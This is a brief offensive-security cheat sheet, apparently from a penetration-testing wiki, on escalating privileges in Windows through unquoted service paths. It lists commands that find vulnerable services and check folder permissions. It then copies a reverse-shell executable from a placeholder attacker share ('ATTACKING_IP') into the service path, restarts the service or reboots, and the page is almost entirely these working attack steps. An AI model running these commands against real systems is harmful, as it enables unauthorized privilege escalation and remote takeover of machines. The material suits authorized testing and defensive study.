Unquoted Service Path
MITRE ATT&CK™ Hijack Execution Flow - Path Interception by Unquoted Path - Technique T1574.09
Theory
C:\Program Files\A Subfolder\B Subfolder\C Subfolder\VulnSvc.exePractice
CMD
# Method 1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """PowerShell
Get-WmiObject win32_service | select Name,PathName,StartMode,StartName | where {$_.StartMode -ne "Disabled" -and $_.PathName -notmatch "`"" -and $_.PathName -notmatch "C:\\Windows"} | Format-ListPowerUp
. .\PowerUp.ps1
Get-UnquotedServiceicacls "C:\Program Files\A Subfolder\"copy \\ATTACKING_IP\Share\reverse.exe C:\Program Files\A Subfolder\B.exe #Using wmic
wmic service <Service_Name> call stopservice
wmic service <Service_Name> call startservice
#Using net
net stop <Service_Name> && net start <Service_Name>
#Using sc.exe
sc stop <Service_Name>
sc start <Service_Name>#Exemple of getting StartMode for MySVC
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'MySVC'}
#Reboot
shutdown /r /t 0 Resources
Last updated